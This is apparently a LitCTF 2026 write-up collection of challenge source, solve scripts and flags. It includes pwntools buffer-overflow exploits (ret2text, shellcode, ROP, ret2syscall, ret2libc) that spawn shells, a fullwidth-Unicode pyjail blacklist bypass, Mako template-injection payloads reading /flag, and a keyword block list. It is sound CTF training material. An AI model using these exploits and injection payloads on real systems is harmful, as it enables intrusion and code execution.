🚩LitCTF{lsb_1s_fun_w1th_b4s3_64}

🚩LitCTF{qr_h1gh_3rr_c0r_r3c0v3ry}

🚩LitCTF{sstv_p4t13nc3}

🚩LitCTF{w3lc0m3_t0_m1sc_w0rld}

1#!/usr/bin/env python32"""LitCTF — 入门 Pyjail：验证码 + 按指引两次只读文件（无 RCE）。"""3 4import secrets5import socket6import string7import threading8 9HOST = "0.0.0.0"10PORT = 999911MAX_QUEUED = 6412MAX_LINE = 51213MAX_FILE = 409614 15 16def recv_line(conn: socket.socket) -> str:17    data = bytearray()18    while len(data) < MAX_LINE:19        chunk = conn.recv(1)20        if not chunk:21            break22        if chunk == b"\n":23            break24        data += chunk25    return data.decode("utf-8", errors="replace").strip()26 27 28def safe_read(path: str) -> str:29    p = path.strip()30    if not p or p.startswith("-") or "\x00" in p:31        raise ValueError("invalid path")32    with open(p, "r", errors="replace") as f:33        return f.read(MAX_FILE)34 35 36def handle(conn: socket.socket) -> None:37    try:38        conn.settimeout(120)39        alphabet = string.ascii_uppercase40        challenge = "".join(secrets.choice(alphabet) for _ in range(8))41        conn.sendall(42            f"Please enter the reverse of '{challenge}' to continue: ".encode()43        )44        ans = recv_line(conn)45        if ans != challenge[::-1]:46            conn.sendall(b"Wrong reverse string. Bye.\n")47            return48        conn.sendall(49            b"Good.\n"50            b"Step 1: read /app/where_is_flag.txt (it contains the flag path).\n"51            b"Step 2: read that path.\n"52            b"File path (1/2): "53        )54        p1 = recv_line(conn)55        try:56            c1 = safe_read(p1)57        except Exception as e:58            conn.sendall(f"Error: {e}\n".encode(errors="replace"))59            return60        conn.sendall(b"--- begin ---\n")61        conn.sendall(c1.encode(errors="replace"))62        conn.sendall(b"\n--- end ---\nFile path (2/2): ")63        p2 = recv_line(conn)64        try:65            c2 = safe_read(p2)66        except Exception as e:67            conn.sendall(f"Error: {e}\n".encode(errors="replace"))68            return69        conn.sendall(c2.encode(errors="replace"))70        conn.sendall(b"\n")71    finally:72        conn.close()73 74 75def main() -> None:76    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)77    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)78    srv.bind((HOST, PORT))79    srv.listen(MAX_QUEUED)80    while True:81        client, _ = srv.accept()82        threading.Thread(target=handle, args=(client,), daemon=True).start()83 84 85if __name__ == "__main__":86    main()

🚩flag{gklntftv-iqga-4bn-8xmq-c1wd3r5u3xb3f}

1#!/usr/bin/env python32"""LitCTF — Unicode 标识符绕过：过滤检查原始源码字符串，解释器仍接受全角等价标识符。"""3 4import re5import socket6import threading7 8HOST = "0.0.0.0"9PORT = 999910MAX_QUEUED = 6411MAX_LINE = 24012 13# 仅检查「你键入的文本」：ASCII 关键字用词边界，避免匹配到 important 等14BANNED = re.compile(15    r"\bimport\b|\bexec\b|\beval\b|\bopen\b|\bcompile\b|\bglobals\b|\blocals\b|__|"16    r"\bgetattr\b|\bsetattr\b|\bdelattr\b|\bvars\b|\bbreakpoint\b|\binput\b|"17    r"\bsubprocess\b|\bpty\b|os\.|sys\.|\bposix\b",18    re.IGNORECASE,19)20 21 22def banned(raw: str) -> bool:23    if "\\u" in raw or "\\U" in raw or "\\x" in raw:24        return True25    return BANNED.search(raw) is not None26 27 28def handle(conn: socket.socket) -> None:29    try:30        conn.settimeout(60)31        conn.sendall(32            b"=== LitCTF pyjail unicode ===\n"33            b"Send ONE line of Python. It will be eval() with full __builtins__.\n"34            b"ASCII blacklist applies to your *source text* (see attachment jail.py).\n"35            b"Goal: read /flag and get its str content.\n> "36        )37        raw = bytearray()38        while len(raw) < MAX_LINE:39            ch = conn.recv(1)40            if not ch:41                break42            if ch == b"\n":43                break44            raw += ch45        line = raw.decode("utf-8", errors="replace").strip()46        if not line:47            conn.sendall(b"empty\n")48            return49        if banned(line):50            conn.sendall(b"disallowed pattern in source\n")51            return52        try:53            out = eval(line, {"__builtins__": __builtins__})54            conn.sendall(repr(out).encode(errors="replace") + b"\n")55        except Exception as e:56            conn.sendall(f"{type(e).__name__}: {e}\n".encode(errors="replace"))57    finally:58        conn.close()59 60 61def main() -> None:62    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)63    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)64    srv.bind((HOST, PORT))65    srv.listen(MAX_QUEUED)66    while True:67        c, _ = srv.accept()68        threading.Thread(target=handle, args=(c,), daemon=True).start()69 70 71if __name__ == "__main__":72    main()

1BANNED = re.compile(2    r"\bimport\b|\bexec\b|\beval\b|\bopen\b|\bcompile\b|\bglobals\b|\blocals\b|__|"3    r"\bgetattr\b|\bsetattr\b|\bdelattr\b|\bvars\b|\bbreakpoint\b|\binput\b|"4    r"\bsubprocess\b|\bpty\b|os\.|sys\.|\bposix\b",5    re.IGNORECASE,6)

1ｏｐｅｎ('/flag').read()

🚩flag{snaixx1k-rcxk-4zu-8w4x-059oj7216m1va}

1#!/usr/bin/env python32"""3LitCTF2026 — One-time pad reused for two messages (40 bytes each).4 5Players receive output.txt and README; they do not receive secret.py.6"""7from __future__ import annotations8 9import argparse10import os11from pathlib import Path12 13try:14    from secret import M1_FLAG15except ImportError:16    raise SystemExit(17        "secret.py (organizer) is required to generate ciphertext; "18        "players work from output.txt only."19    )20 21# Public second message — duplicated in README for contestants.22M2_KNOWN = b"litctf2026_xor_keystream_reuse_40bytes!!"23 24assert len(M1_FLAG) == len(M2_KNOWN) == 4025 26 27def xor_bytes(a: bytes, b: bytes) -> bytes:28    return bytes(x ^ y for x, y in zip(a, b))29 30 31def main() -> None:32    parser = argparse.ArgumentParser()33    parser.add_argument(34        "--write",35        type=Path,36        help="Write hex lines to file.",37    )38    args = parser.parse_args()39 40    n = len(M1_FLAG)41    k = os.urandom(n)42    c1 = xor_bytes(M1_FLAG, k)43    c2 = xor_bytes(M2_KNOWN, k)44 45    lines = [46        f"c1 = {c1.hex()}",47        f"c2 = {c2.hex()}",48        f"len = {n}",49    ]50    text = "\n".join(lines) + "\n"51    print(text, end="")52    if args.write:53        args.write.write_text(text, encoding="utf-8")54 55 56if __name__ == "__main__":57    main()58 59# c1 = 5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a2860# c2 = 5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f47461# len = 40

1c1 = bytes.fromhex("5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28")2c2 = bytes.fromhex("5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474")3 4M2_KNOWN = b"litctf2026_xor_keystream_reuse_40bytes!!"5 6xor_c1c2 = bytes(a ^ b for a, b in zip(c1, c2))7 8flag = bytes(a ^ b for a, b in zip(xor_c1c2, M2_KNOWN))9print(flag.decode())

🚩litctf{otp_reuse_never_twice_same_key__}

1#!/usr/bin/env python32"""3LitCTF2026 — ElGamal handshake (story)4Someone left debug logging on; the private exponent x was printed alongside ciphertext.5"""6from __future__ import annotations7 8import argparse9from pathlib import Path10from random import randrange11 12from Crypto.Util.number import bytes_to_long, getPrime, getRandomRange13 14try:15    from secret import FLAG16except ImportError as e:17    raise SystemExit("secret.py (FLAG) is required to encrypt.") from e18 19 20def generate_elgamal_keypair(bits: int = 512) -> tuple[int, int, int, int]:21    p = getPrime(bits)22    for _ in range(1000):23        g = getRandomRange(2, min(6, p - 1))24        if pow(g, (p - 1) // 2, p) != 1:25            break26    else:27        raise RuntimeError("could not find suitable g")28    x = randrange(2, p - 1)29    y = pow(g, x, p)30    return p, g, y, x31 32 33def main() -> None:34    parser = argparse.ArgumentParser()35    parser.add_argument(36        "--write",37        type=Path,38        help="Write captured output to this file (for organizers).",39    )40    args = parser.parse_args()41 42    p, g, y, x = generate_elgamal_keypair(bits=512)43    k = randrange(1, p - 2)44    m = bytes_to_long(FLAG)45    if m >= p:46        raise ValueError("flag too large for chosen p — shorten FLAG")47 48    c1 = pow(g, k, p)49    c2 = (m * pow(y, k, p)) % p50 51    lines = [52        "=== Public key (p, g, y) ===",53        f"p = {p}",54        f"g = {g}",55        f"y = {y}",56        "",57        "=== Ciphertext (c1, c2) ===",58        f"c1 = {c1}",59        f"c2 = {c2}",60        "",61        "# [DEBUG] prod accidentally logged the long-term secret:",62        f"x = {x}",63    ]64    text = "\n".join(lines) + "\n"65    print(text, end="")66    if args.write:67        args.write.write_text(text, encoding="utf-8")68 69 70if __name__ == "__main__":71    main()72 73# === Public key (p, g, y) ===74# p = 900078485537635980805135482519396204277002856134384843277844367275598239739126712431257269724953164306940987372273634891620773262288441159694880703114065175# g = 376# y = 26913088352970833305432057185400640648134666546341601702608307448801154605992815792599066543175101752396476032693445418195282274446371498124340730713435777 78# === Ciphertext (c1, c2) ===79# c1 = 524585742627438369319337866942524323515146052252700492409273002442752561924422224757682978207733481017327494575149338754584949901040849995126896777404362780# c2 = 605993949271826245132775816700553419120093692271917884382588816719106250403047135863520379472037121621744740443617297011103382467473106338661254978506965481 82# # [DEBUG] prod accidentally logged the long-term secret:83# x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884

1from Crypto.Util.number import long_to_bytes2 3p = 90007848553763598080513548251939620427700285613438484327784436727559823973912671243125726972495316430694098737227363489162077326228844115969488070311406514g = 35y = 2691308835297083330543205718540064064813466654634160170260830744880115460599281579259906654317510175239647603269344541819528227444637149812434073071343576 7c1 = 52458574262743836931933786694252432351514605225270049240927300244275256192442222475768297820773348101732749457514933875458494990104084999512689677740436278c2 = 60599394927182624513277581670055341912009369227191788438258881671910625040304713586352037947203712162174474044361729701110338246747310633866125497850696549 10x = 63336629321902268410862848375342365747732425383365714103376297176174766934464966788700234790788224124611922312649286329188675120550536004979372885137188411 12s = pow(c1, x, p)13s_inv = pow(s, p - 2, p)14m = (c2 * s_inv) % p15flag = long_to_bytes(m)16print(flag.decode())

🚩litctf{elgamal_leak_makes_happy_decrypt}

1#!/usr/bin/env python32"""3LitCTF2026 — RSA where q is 'far' along the prime line but still close enough to p for Fermat.4"""5from __future__ import annotations6 7import argparse8from pathlib import Path9 10import gmpy211from Crypto.Util.number import bytes_to_long, getPrime12 13try:14    from secret import FLAG, NEXT_PRIME_STEPS15except ImportError as e:16    raise SystemExit(17        "secret.py is required to generate output (FLAG, NEXT_PRIME_STEPS)."18    ) from e19 20E = 6553721 22 23def main() -> None:24    parser = argparse.ArgumentParser()25    parser.add_argument(26        "--write",27        type=Path,28        help="Write n, c to this file.",29    )30    args = parser.parse_args()31 32    p = getPrime(512)33    q = p34    for _ in range(NEXT_PRIME_STEPS):35        q = int(gmpy2.next_prime(q))36 37    n = p * q38    m = bytes_to_long(FLAG)39    if m >= n:40        raise ValueError("flag too large for n")41 42    c = pow(m, E, n)43 44    lines_players = [f"{n = }", f"{c = }", f"e = {E}"]45    text = "\n".join(lines_players) + "\n"46    print(text, end="")47    if args.write:48        args.write.write_text(text, encoding="utf-8")49 50 51if __name__ == "__main__":52    main()53 54# n = 13963744001623202569029445760989960599105601105201046655841185131794363660086041988296607962982670636193555098274431259324318181999959082515961118677961360124174234998644067618854238145106605881666131762100924851365108377290752013937510842646669133255961297124416024631074621506713649077206131757174423007891155# c = 8117236964293185939048669702496135088975124410962380293798862084748686314768257998482395880194870148209614063258017311395953183650372352294533598572386781877869933780763059207826562699572299837899221552335285856192347439555039528401598652551398491002199565778041146623730661410926246076438253931172529761942956# e = 65537

1p = getPrime(512)2q = p3for _ in range(NEXT_PRIME_STEPS):4    q = int(gmpy2.next_prime(q))

1import gmpy22from Crypto.Util.number import long_to_bytes3 4n = 1396374400162320256902944576098996059910560110520104665584118513179436366008604198829660796298267063619355509827443125932431818199995908251596111867796136012417423499864406761885423814510660588166613176210092485136510837729075201393751084264666913325596129712441602463107462150671364907720613175717442300789115c = 811723696429318593904866970249613508897512441096238029379886208474868631476825799848239588019487014820961406325801731139595318365037235229453359857238678187786993378076305920782656269957229983789922155233528585619234743955503952840159865255139849100219956577804114662373066141092624607643825393117252976194296e = 655377 8# Fermat factorization9a = gmpy2.isqrt(n)10if a * a < n:11    a += 112 13while True:14    b2 = a * a - n15    b, is_square = gmpy2.iroot(b2, 2)16    if is_square:17        p = int(a - b)18        q = int(a + b)19        break20    a += 121 22print("p =", p)23print("q =", q)24assert p * q == n25 26# RSA decrypt27phi = (p - 1) * (q - 1)28d = gmpy2.invert(e, phi)29m = pow(c, d, n)30flag = long_to_bytes(m)31print(flag.decode())

🚩litctf{rsa_fermat_finds_close_primes}

1#!/usr/bin/env python32"""3LitCTF2026 — AES-128-ECB with a mostly fixed key (weak operational policy).4"""5from __future__ import annotations6 7import argparse8from pathlib import Path9 10from Crypto.Cipher import AES11from Crypto.Util.Padding import pad12 13try:14    from secret import FLAG, UNKNOWN_KEY_SUFFIX15except ImportError as e:16    raise SystemExit(17        "secret.py is required to generate ciphertext (contains FLAG and key suffix)."18    ) from e19 20KEY_PREFIX = b"LitCTF2026!!!"  # 13 bytes; 3 bytes brute-forced21assert len(KEY_PREFIX) + len(UNKNOWN_KEY_SUFFIX) == 1622 23 24def encrypt_aes_ecb_pkcs7(plaintext: bytes, key: bytes) -> bytes:25    cipher = AES.new(key, AES.MODE_ECB)26    return cipher.encrypt(pad(plaintext, AES.block_size))27 28 29def main() -> None:30    parser = argparse.ArgumentParser()31    parser.add_argument(32        "--write",33        type=Path,34        help="Write ciphertext hex to this file.",35    )36    args = parser.parse_args()37 38    key = KEY_PREFIX + UNKNOWN_KEY_SUFFIX39    c = encrypt_aes_ecb_pkcs7(FLAG, key)40    line = f"c = {c!r}\n"41    print(line, end="")42    if args.write:43        args.write.write_text(line, encoding="utf-8")44 45 46if __name__ == "__main__":47    main()48 49# c = b"\x0c\xdb'`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd\x0c\xb9\xb6\xb2J<\x86\x19\x06K\xb3\xa2\xa4\x18\x87<v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3"

1from Crypto.Cipher import AES2from Crypto.Util.Padding import unpad3import itertools4 5c = b"\x0c\xdb'`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd\x0c\xb9\xb6\xb2J<\x86\x19\x06K\xb3\xa2\xa4\x18\x87<v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3"6 7KEY_PREFIX = b"LitCTF2026!!!"8 9def try_decrypt(key_suffix):10    key = KEY_PREFIX + key_suffix11    cipher = AES.new(key, AES.MODE_ECB)12    try:13        plaintext = unpad(cipher.decrypt(c), AES.block_size)14        if all(32 <= b <= 126 or b == 10 for b in plaintext):15            return plaintext16    except:17        pass18    return None19 20for i, key_suffix in enumerate(itertools.product(range(256), repeat=3)):21    key_suffix = bytes(key_suffix)22    result = try_decrypt(key_suffix)23    24    if result:25        print(f"密钥后缀: {key_suffix.hex()}")26        print(f"{result.decode()}")27        break

🚩litctf{aes_tiny_brut3_for_the_win!}

1$ file ret2text322ret2text32: ELF 32-bit LSB executable, Intel i386, ..., not stripped3 4$ objdump -d ret2text32 | grep '<backdoor>'508049213 <backdoor>:

1$ objdump -d ret2text32 | grep -A30 '<vuln>'2 804927c:   8d 45 c8      lea    -0x38(%ebp),%eax   ; buf 起始地址3 804927f:   50            push   %eax4 8049280:   6a 00         push   $0x05 8049282:   e8 c9 fd ff ff   call   8049050 <read@plt>

1from pwn import *2 3context.arch = 'i386'4 5backdoor = 0x080492136offset = 0x38 + 47 8r = remote('challenge.cyclens.tech', 31169)9 10payload = flat([11    b'A' * offset,12    p32(backdoor),13])14 15r.recvuntil(b'Input: ')16r.sendline(payload)17r.sendline(b'cat flag')18r.interactive()

🚩flag{sx6medj5-rhra-4ue-83mn-ad7enob3e5pqq}

1$ readelf -l ret2shellcode | grep GNU_STACK2  GNU_STACK      0x0 ... RWE    0x10

1$ objdump -d ret2shellcode | grep -A30 '<vuln>'2  4011ce:   48 8d 45 90      lea    -0x70(%rbp),%rax   ; buf 起始3  401201:   ba 00 02 00 00   mov    $0x200,%edx         ; 读取 0x200 字节4  401206:   48 89 c6         mov    %rax,%rsi5  401209:   bf 00 00 00 00   mov    $0x0,%edi6  40120e:   e8 3d fe ff ff   call   401050 <read@plt>

1from pwn import *2 3context.arch = 'amd64'4 5r = remote('challenge.cyclens.tech', 30872)6 7r.recvuntil(b'buf is at ')8buf_addr = int(r.recvuntil(b'\n').strip(), 16)9 10offset = 0x70 + 811shellcode = asm(shellcraft.sh())12 13payload = flat([14    shellcode,15    b'A' * (offset - len(shellcode)),16    p64(buf_addr),17])18 19r.recvuntil(b'Leave your mark on the stack: ')20r.send(payload)21r.sendline(b'cat flag*')22r.interactive()

🚩flag{5p1uubjx-t4jp-4oc-80co-korlkzbrnzqun}

1$ objdump -d integer_overflow | grep '<backdoor>'200000000004011d7 <backdoor>:3 4$ objdump -d integer_overflow | grep -A30 '<read_data>'5  401262:   48 8d 45 c0      lea    -0x40(%rbp),%rax   ; buf 起始6  40126e:   e8 ed fd ff ff   call   401060 <read@plt>

1$ objdump -d integer_overflow | grep -E 'c3\s+ret'2  40101a:   c3      ret

1from pwn import *2 3context.arch = 'amd64'4 5backdoor = 0x4011d76ret = 0x40101a7offset = 0x40 + 88 9r = remote('challenge.cyclens.tech', 30192)10 11r.recvuntil(b'(0-63): ')12r.sendline(b'-1')13r.recvuntil(b"Invalid size! But I'll still read it anyway...\n")14 15payload = flat([16    b'A' * offset,17    p64(ret),       # 栈对齐18    p64(backdoor),19])20 21r.send(payload)22r.sendline(b'cat flag*')23r.interactive()

🚩flag{hecu34wx-qh90-4lg-8xm9-liuqg4mniwiyt}

1$ objdump -d ropchain | grep -E '<vuln>|<gadget_|<read@plt|<system@plt'2  401166 gadget_pop_rdi:   pop rdi; ret3  40116b gadget_pop_rsi:   pop rsi; ret4  401170 gadget_pop_rdx:   pop rdx; ret5  401040 system@plt6  401060 read@plt7 8$ readelf -s ropchain | grep bss_buf9  403460 bss_buf10 11$ objdump -d ropchain | grep -A10 '<vuln>:'12  401210:   lea -0x40(%rbp),%rax   ; buf at rbp-0x40

1from pwn import *2 3pop_rdi = 0x4011664pop_rsi = 0x40116b5pop_rdx = 0x4011706read_plt = 0x4010607system_plt = 0x4010408bss_buf = 0x4034609offset = 0x40 + 810 11r = remote('challenge.cyclens.tech', 30589)12r.recvuntil(b'Input: ')13 14payload = flat([15    b'A' * offset,16    # read(0, bss_buf, 8)17    p64(pop_rdi), p64(0),18    p64(pop_rsi), p64(bss_buf),19    p64(pop_rdx), p64(8),20    p64(read_plt),21    # system(bss_buf)22    p64(pop_rdi), p64(bss_buf),23    p64(system_plt),24])25 26r.send(payload)27r.send(b'/bin/sh\x00')28r.sendline(b'cat flag*')29r.interactive()

🚩flag{32pqaimr-4jke-4nj-8igp-ymye2xrusranp}

1$ objdump -d ret2syscall32 | grep '<gadget_'2080491a6 gadget_pop_eax:       pop %eax; ret3080491ab gadget_pop_ebx:       pop %ebx; ret4080491b0 gadget_pop_ecx_ebx:   pop %ecx; pop %ebx; ret5080491b6 gadget_pop_edx:       pop %edx; ret6080491c1 gadget_int_0x80:      int $0x807 8$ readelf -s ret2syscall32 | grep data_buf90804b3a0 data_buf10 11$ objdump -d ret2syscall32 | grep -A3 '8049249:'12 8049249:   8d 45 b8      lea -0x48(%ebp),%eax   ; buf at ebp-0x48

1$ ROPgadget --binary ret2syscall32 | grep 'add esp, 8'20x0804901f : add esp, 8 ; pop ebx ; ret

1from pwn import *2 3context.arch = 'i386'4 5pop_eax     = 0x080491a66pop_ecx_ebx = 0x080491b07pop_edx     = 0x080491b68int_0x80    = 0x080491c19read_plt    = 0x0804905010data_buf    = 0x0804b3a011cleanup     = 0x0804901f  # add esp, 8; pop ebx; ret12offset      = 0x48 + 413 14r = remote('challenge.cyclens.tech', 30528)15r.recvuntil(b'Input: ')16 17payload = flat([18    b'A' * offset,19    # Part 1: read(0, data_buf, 8)20    p32(read_plt),21    p32(cleanup),         # read 返回到这里，清掉三个参数22    p32(0),               # fd23    p32(data_buf),        # buf24    p32(8),               # count25    # Part 2: execve(data_buf, 0, 0)26    p32(pop_eax), p32(11),            # eax = 11 (execve)27    p32(pop_edx), p32(0),             # edx = 028    p32(pop_ecx_ebx), p32(0), p32(data_buf),  # ecx = 0, ebx = data_buf29    p32(int_0x80),                    # 触发 syscall30])31 32r.send(payload)33r.send(b'/bin/sh\x00')34r.sendline(b'cat flag*')35r.interactive()

🚩flag{sdhfeplm-01vn-4ab-8idn-rnuluryqiwn07}

1$ objdump -d ret2libc | grep -E '<gadget_|<vuln>|<puts@plt'2  401030 puts@plt3  4011b7 gadget_pop_rdi:   pop rdi; ret4  4011f0 vuln5 6$ objdump -d ret2libc | grep -A5 'read@plt'7  40121b:   lea -0x40(%rbp),%rax   ; buf at rbp-0x40

1$ objdump -d ret2libc | grep -E 'c3\s+ret'2  40101a: c3   ret

1[72 bytes padding]2[pop_rdi] [puts_got] [ret] [puts_plt] [ret] [vuln]

1$ curl -s 'https://libc.rip/api/find' \2  -d '{"symbols":{"puts":"80e50","read":"114850"}}'3libc6_2.35-0ubuntu3.13_amd644  puts:   0x80e505  system: 0x50d706  str_bin_sh: 0x1d8678

1from pwn import *2 3context.arch = 'amd64'4 5pop_rdi  = 0x4011b76puts_plt = 0x4010307puts_got = 0x4033d88ret      = 0x40101a9vuln     = 0x4011f010 11off_puts   = 0x80e5012off_system = 0x50d7013off_binsh  = 0x1d867814offset     = 0x40 + 815 16r = remote('challenge.cyclens.tech', 30399)17r.recvuntil(b'Tell me your name: ')18 19# Stage 1: leak puts, return to vuln20payload1 = flat([21    b'A' * offset,22    p64(pop_rdi), p64(puts_got),23    p64(ret),24    p64(puts_plt),25    p64(ret),26    p64(vuln),27])28r.send(payload1)29 30leak_puts = u64(r.recvline().strip().ljust(8, b'\x00'))31libc_base = leak_puts - off_puts32 33# Stage 2: system("/bin/sh")34r.recvuntil(b'Tell me your name: ')35payload2 = flat([36    b'A' * offset,37    p64(ret),38    p64(pop_rdi), p64(libc_base + off_binsh),39    p64(libc_base + off_system),40])41r.send(payload2)42r.sendline(b'cat flag*')43r.interactive()

🚩flag{qoqqil9i-6f3g-4pq-8pyc-igiqocqicr973}

1{{7*7}}2${7*7}3<%= 7*7 %>4[[7*7]]

1[渲染异常] SyntaxException: Invalid control line: '' at line: 1 char: 1

1% for i in range(3):2hi3% endfor

1${open('/flag').read()}

1<% getattr(context,'write')('OK') %>

1OK

1<%! import os %><% getattr(context,'write')(str(getattr(os,'listdir')('/'))) %>

1['root', 'proc', 'boot', 'mnt', 'opt', 'etc', 'media', 'home', 'sys', 'usr', 'lib', 'lib64', 'bin', 'dev', 'sbin', 'srv', 'run', 'tmp', 'var', 'app', 'flag', 'docker-entrypoint.sh']

1<% getattr(context,'write')(str(getattr(open('/f'+'lag'),'read')())) %>

🚩flag{stpas4m0-dqtq-4pz-81le-lukkhdsp8entf}